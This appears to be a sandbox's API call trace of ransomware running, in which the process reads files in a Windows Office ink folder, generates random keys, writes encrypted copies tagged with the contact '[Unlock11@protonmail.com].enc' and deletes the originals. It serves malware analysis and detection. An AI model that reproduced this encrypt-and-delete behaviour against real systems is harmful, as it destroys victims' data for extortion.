[0122.048] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.048] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.048] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.049] GetLastError () returned 0x0 [0122.049] GetCurrentThreadId () returned 0x9b0 [0122.049] GetLastError () returned 0x0 [0122.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d88 | out: hHeap=0x2ad0000) returned 1 [0122.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db5d0 | out: hHeap=0x2ad0000) returned 1 [0122.049] GetLastError () returned 0x0 [0122.049] GetLastError () returned 0x0 [0122.049] GetLastError () returned 0x0 [0122.049] GetLastError () returned 0x0 [0122.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0122.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6c28 [0122.049] GetLastError () returned 0x0 [0122.050] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.050] GetFileType (hFile=0x3ac) returned 0x1 [0122.050] GetLastError () returned 0x0 [0122.050] GetCurrentThreadId () returned 0x9b0 [0122.050] GetLastError () returned 0x0 [0122.050] GetFileType (hFile=0x3ac) returned 0x1 [0122.050] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.051] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.051] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.051] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.051] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.051] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.051] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.051] GetLastError () returned 0x0 [0122.051] GetCurrentThreadId () returned 0x9b0 [0122.051] GetLastError () returned 0x0 [0122.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c28 | out: hHeap=0x2ad0000) returned 1 [0122.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0122.051] GetCurrentThreadId () returned 0x9b0 [0122.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0122.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0122.052] GetLastError () returned 0x0 [0122.052] GetLastError () returned 0x0 [0122.052] GetCurrentThreadId () returned 0x9b0 [0122.052] GetLastError () returned 0x0 [0122.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0122.052] GetLastError () returned 0x0 [0122.052] GetLastError () returned 0x0 [0122.052] GetCurrentThreadId () returned 0x9b0 [0122.052] GetLastError () returned 0x0 [0122.052] GetLastError () returned 0x0 [0122.055] GetLastError () returned 0x0 [0122.055] GetCurrentThreadId () returned 0x9b0 [0122.055] GetLastError () returned 0x0 [0122.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c18 | out: hHeap=0x2ad0000) returned 1 [0122.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0122.056] GetLastError () returned 0x0 [0122.056] GetLastError () returned 0x0 [0122.056] GetLastError () returned 0x0 [0122.056] GetLastError () returned 0x0 [0122.056] GetCurrentThreadId () returned 0x9b0 [0122.056] GetLastError () returned 0x0 [0122.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0122.057] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0122.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0122.057] GetLastError () returned 0x0 [0122.058] GetLastError () returned 0x0 [0122.058] GetCurrentThreadId () returned 0x9b0 [0122.059] GetLastError () returned 0x0 [0122.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0122.059] GetCurrentThreadId () returned 0x9b0 [0122.059] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0122.059] GetLastError () returned 0x0 [0122.060] GetLastError () returned 0x0 [0122.060] GetCurrentThreadId () returned 0x9b0 [0122.060] GetLastError () returned 0x0 [0122.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.060] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6be8 [0122.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c28 | out: hHeap=0x2ad0000) returned 1 [0122.060] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0122.061] GetLastError () returned 0x0 [0122.061] GetLastError () returned 0x0 [0122.061] GetLastError () returned 0x0 [0122.061] GetLastError () returned 0x0 [0122.061] GetCurrentThreadId () returned 0x9b0 [0122.061] GetLastError () returned 0x0 [0122.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.061] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0122.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0122.062] GetLastError () returned 0x0 [0122.063] GetLastError () returned 0x0 [0122.063] GetCurrentThreadId () returned 0x9b0 [0122.063] GetLastError () returned 0x0 [0122.063] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0122.063] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0122.063] GetLastError () returned 0x0 [0122.064] GetLastError () returned 0x0 [0122.064] GetCurrentThreadId () returned 0x9b0 [0122.064] GetLastError () returned 0x0 [0122.064] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0122.064] GetCurrentThreadId () returned 0x9b0 [0122.064] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6d68 [0122.064] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6be8 | out: hHeap=0x2ad0000) returned 1 [0122.065] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0122.065] GetLastError () returned 0x0 [0122.065] GetLastError () returned 0x0 [0122.065] GetLastError () returned 0x0 [0122.065] GetLastError () returned 0x0 [0122.065] GetCurrentThreadId () returned 0x9b0 [0122.065] GetLastError () returned 0x0 [0122.065] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0122.066] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0122.066] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0122.066] GetLastError () returned 0x0 [0122.067] GetLastError () returned 0x0 [0122.067] GetCurrentThreadId () returned 0x9b0 [0122.067] GetLastError () returned 0x0 [0122.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0122.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0122.067] GetLastError () returned 0x0 [0122.067] GetLastError () returned 0x0 [0122.068] GetCurrentThreadId () returned 0x9b0 [0122.068] GetLastError () returned 0x0 [0122.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.068] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x37bf790, Size=0x2e35) returned 0x37bf790 [0122.068] GetCurrentThreadId () returned 0x9b0 [0122.068] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6cf8 [0122.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d68 | out: hHeap=0x2ad0000) returned 1 [0122.068] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x2e38) returned 0x38273e0 [0122.068] GetLastError () returned 0x0 [0122.069] GetCurrentThreadId () returned 0x9b0 [0122.069] GetCurrentThreadId () returned 0x9b0 [0122.069] GetCurrentThreadId () returned 0x9b0 [0122.069] CloseHandle (hObject=0x3ac) returned 1 [0122.069] GetCurrentThreadId () returned 0x9b0 [0122.069] CloseHandle (hObject=0x39c) returned 1 [0122.070] GetCurrentThreadId () returned 0x9b0 [0122.070] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0 [0122.070] GetCurrentThreadId () returned 0x9b0 [0122.070] GetCurrentThreadId () returned 0x9b0 [0122.070] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui", lpFilePart=0x9bada4*="FlickLearningWizard.exe.mui") returned 0x54 [0122.071] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0122.071] GetCurrentThreadId () returned 0x9b0 [0122.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0122.071] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0122.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0122.071] GetCurrentThreadId () returned 0x9b0 [0122.071] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui", lpFilePart=0x9bada4*="InkObj.dll.mui") returned 0x47 [0122.071] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0122.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0122.071] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0122.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0122.072] GetCurrentThreadId () returned 0x9b0 [0122.072] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui", lpFilePart=0x9bada4*="InputPersonalization.exe.mui") returned 0x55 [0122.072] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0122.072] GetCurrentThreadId () returned 0x9b0 [0122.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0122.072] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0122.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0122.072] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui", lpFilePart=0x9bada4*="IPSEventLogMsg.dll.mui") returned 0x4f [0122.072] GetCurrentThreadId () returned 0x9b0 [0122.072] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0122.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0122.073] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0122.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0122.073] GetCurrentThreadId () returned 0x9b0 [0122.073] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui", lpFilePart=0x9bada4*="IpsMigrationPlugin.dll.mui") returned 0x53 [0122.073] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0122.073] GetCurrentThreadId () returned 0x9b0 [0122.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0122.073] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0122.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0122.073] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi", lpFilePart=0x9bada4*="join.avi") returned 0x41 [0122.074] GetCurrentThreadId () returned 0x9b0 [0122.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0122.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0122.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0122.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0122.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea278 [0122.074] GetCurrentThreadId () returned 0x9b0 [0122.074] GetCurrentThreadId () returned 0x9b0 [0122.074] GetCurrentThreadId () returned 0x9b0 [0122.074] GetCurrentThreadId () returned 0x9b0 [0122.075] GetCurrentThreadId () returned 0x9b0 [0122.075] GetCurrentThreadId () returned 0x9b0 [0122.075] GetCurrentThreadId () returned 0x9b0 [0122.075] GetCurrentThreadId () returned 0x9b0 [0122.075] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1af9c24, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1af9c24, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x30d3a)) returned 1 [0122.075] GetCurrentThreadId () returned 0x9b0 [0122.075] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a2dc | out: pbBuffer=0x366a2dc) returned 1 [0122.075] GetCurrentThreadId () returned 0x9b0 [0122.075] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0122.076] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0122.076] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0122.076] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea278 [0122.076] GetCurrentThreadId () returned 0x9b0 [0122.076] GetCurrentThreadId () returned 0x9b0 [0122.076] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea278 | out: hHeap=0x2ad0000) returned 1 [0122.076] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea278 [0122.076] GetCurrentThreadId () returned 0x9b0 [0122.076] GetCurrentThreadId () returned 0x9b0 [0122.076] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6c18 [0122.076] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5980 | out: hHeap=0x2ad0000) returned 1 [0122.077] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.077] GetFileType (hFile=0x39c) returned 0x1 [0122.077] GetCurrentThreadId () returned 0x9b0 [0122.077] GetFileType (hFile=0x39c) returned 0x1 [0122.077] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.077] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.077] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.077] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.077] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.078] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.078] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.078] GetLastError () returned 0x0 [0122.078] GetCurrentThreadId () returned 0x9b0 [0122.078] GetLastError () returned 0x0 [0122.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c78 | out: hHeap=0x2ad0000) returned 1 [0122.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbbc0 | out: hHeap=0x2ad0000) returned 1 [0122.078] GetLastError () returned 0x0 [0122.078] GetLastError () returned 0x0 [0122.078] GetLastError () returned 0x0 [0122.078] GetLastError () returned 0x0 [0122.079] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0122.079] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6c78 [0122.079] GetLastError () returned 0x0 [0122.079] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.079] GetFileType (hFile=0x3ac) returned 0x1 [0122.079] GetLastError () returned 0x0 [0122.079] GetCurrentThreadId () returned 0x9b0 [0122.079] GetLastError () returned 0x0 [0122.079] GetFileType (hFile=0x3ac) returned 0x1 [0122.080] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.080] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.080] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.080] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.080] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.080] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.080] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.080] GetLastError () returned 0x0 [0122.080] GetCurrentThreadId () returned 0x9b0 [0122.080] GetLastError () returned 0x0 [0122.080] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c78 | out: hHeap=0x2ad0000) returned 1 [0122.080] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0122.081] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0122.081] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0122.081] GetLastError () returned 0x0 [0122.081] GetLastError () returned 0x0 [0122.081] GetCurrentThreadId () returned 0x9b0 [0122.081] GetLastError () returned 0x0 [0122.081] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0122.081] GetLastError () returned 0x0 [0122.081] GetLastError () returned 0x0 [0122.081] GetCurrentThreadId () returned 0x9b0 [0122.081] GetLastError () returned 0x0 [0122.082] GetLastError () returned 0x0 [0122.083] GetLastError () returned 0x0 [0122.084] GetCurrentThreadId () returned 0x9b0 [0122.084] GetLastError () returned 0x0 [0122.084] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c18 | out: hHeap=0x2ad0000) returned 1 [0122.084] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0122.084] GetCurrentThreadId () returned 0x9b0 [0122.084] GetLastError () returned 0x0 [0122.084] GetLastError () returned 0x0 [0122.085] GetLastError () returned 0x0 [0122.085] GetLastError () returned 0x0 [0122.085] GetCurrentThreadId () returned 0x9b0 [0122.085] GetLastError () returned 0x0 [0122.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0122.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0122.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.085] GetLastError () returned 0x0 [0122.087] GetLastError () returned 0x0 [0122.087] GetCurrentThreadId () returned 0x9b0 [0122.088] GetLastError () returned 0x0 [0122.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0122.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0122.088] GetLastError () returned 0x0 [0122.088] GetLastError () returned 0x0 [0122.089] GetCurrentThreadId () returned 0x9b0 [0122.089] GetLastError () returned 0x0 [0122.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6c58 [0122.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0122.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0122.089] GetCurrentThreadId () returned 0x9b0 [0122.089] GetLastError () returned 0x0 [0122.090] GetLastError () returned 0x0 [0122.090] GetLastError () returned 0x0 [0122.090] GetLastError () returned 0x0 [0122.090] GetCurrentThreadId () returned 0x9b0 [0122.090] GetLastError () returned 0x0 [0122.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0122.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.091] GetLastError () returned 0x0 [0122.092] GetLastError () returned 0x0 [0122.092] GetCurrentThreadId () returned 0x9b0 [0122.092] GetLastError () returned 0x0 [0122.092] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0122.092] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0122.092] GetLastError () returned 0x0 [0122.093] GetLastError () returned 0x0 [0122.093] GetCurrentThreadId () returned 0x9b0 [0122.093] GetLastError () returned 0x0 [0122.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0122.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6d88 [0122.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c58 | out: hHeap=0x2ad0000) returned 1 [0122.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0122.093] GetLastError () returned 0x0 [0122.094] GetLastError () returned 0x0 [0122.094] GetLastError () returned 0x0 [0122.094] GetLastError () returned 0x0 [0122.094] GetCurrentThreadId () returned 0x9b0 [0122.094] GetLastError () returned 0x0 [0122.094] GetCurrentThreadId () returned 0x9b0 [0122.094] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x370eb48 [0122.094] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0122.094] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0122.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0122.095] GetLastError () returned 0x0 [0122.096] GetLastError () returned 0x0 [0122.096] GetCurrentThreadId () returned 0x9b0 